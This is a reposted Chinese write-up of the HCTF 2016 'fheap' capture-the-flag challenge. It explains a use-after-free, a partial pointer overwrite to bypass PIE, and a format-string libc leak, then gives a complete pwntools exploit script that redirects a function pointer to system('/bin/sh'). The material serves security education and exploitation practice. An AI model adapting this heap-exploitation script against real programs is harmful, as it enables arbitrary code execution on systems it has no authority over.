2016 hctf fheap 题解

题目链接

https://github.com/zh-explorer/hctf2016-fheap

题目分析

题目功能只有 malloc 和 free 的功能,查看堆的布局:

1618355-20190327231351358-232660206.png

全局指针没有置空,导致 uaf 和 double free 漏洞,两种都可以做,但是这题的重点是绕过 PIE。

1618355-20190327231421627-670231027.png

  • double free 完了之后,会导致下面的情况

1618355-20190327231448735-828354381.png

这里需要注意一下 create 函数的逻辑:如果输入的字符串的长度大于 15,则重新 maloc 一块堆块用来存放字符串,如图:

1618355-20190327231530451-1994541761.png

但是这里还是选择使用 uaf 来做。

整体思路

  1. malloc 两个堆块,delete 两个堆块

  2. 重新 malloc 一个堆块,size 大于 24,这样就 malloc 到原来的堆块的区域,因为全局 flag 处还存放着原来堆块的指针,所以存在 uaf 漏洞。

1618355-20190327231625629-741525278.png

  1. 因为这里存在溢出,可以覆盖 free_ptr 指针,在开启 pie 的情况下,覆盖最后一个字节使得 free_ptr 被覆盖成 puts ,接着 delete 堆块时相当于输出 puts 函数的地址,得到基地址。

  2. 重复上一步,接着覆盖 puts 指针为 printf 函数的指针,构造一个格式化字符串漏洞,输出得到libc地址

  3. 重复上一步,覆盖 printf 指针为 system 函数的指针,布置好 "/bin/sh",接着 delete 就调用了 system 函数

1618355-20190327231707336-657651056.png

  • 格式化字符串那里存在问题,无法正常找到 libc 的地址,只能随便找到一个 ld 库的一个地址,但是这里的偏移都是一样的。

EXP

#!/usr/bin/python

from pwn import *
DEBUG = 1

if DEBUG:
    r = process('./pwn-f')
    elf = ELF('./pwn-f')
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    r = remote('127.0.0.1',4444)

def create(size,content):
    r.recvuntil("3.quit")
    r.sendline("create ")
    r.recvuntil("Pls give string size:")
    r.sendline(str(size))
    r.recvuntil("str:")
    r.sendline(str(content))

def delete(idx):
    r.recvuntil("3.quit")
   r.sendline("delete ")
    r.recvuntil("id:")
    r.sendline(str(idx))
    r.recvuntil("Are you sure?:")
    r.sendline("yes")   

create(10,"aaa")
create(10,"bbb")


delete(1)
delete(0)

create(25,'f'*24+p8(0xE4))

delete(1)
r.recvuntil("f"*24)
puts_addr = u64(r.recvline("\n")[:-1].ljust(8,"\x00"))

base_addr = puts_addr - 0xde4
success("base_addr :" + hex(base_addr))

r.sendlineafter("Are you sure?:","H4lo")

delete(0)

printf_plt = base_addr + elf.plt['printf']

payload = "%51$s^^".ljust(24,'A')
payload += p64(printf_plt)

create(32,payload)

delete(1)
addr = u64(r.recv(6).ljust(8,'\x00'))

success(hex(addr))

success("libc_addr :"+hex(addr+0xaf8-0x5d2000))
libc_addr = addr+0xaf8-0x5d2000        # 取到偏移

delete(0)

payload = "/bin/sh;".ljust(24,'A')
payload += p64(libc_addr + libc.symbols['system'])

create(32,payload)

r.interactive()

参考:

https://github.com/zh-explorer/hctf2016-fheap
https://www.cnblogs.com/shangye/p/6156350.html
https://www.xctf.org.cn/library/details/21e9451548a2b5d01dcf411e90ba968fc54ac9a5/
https://blog.csdn.net/qq_33528164/article/details/79515831

转载于:https://www.cnblogs.com/H4lo/p/10611990.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值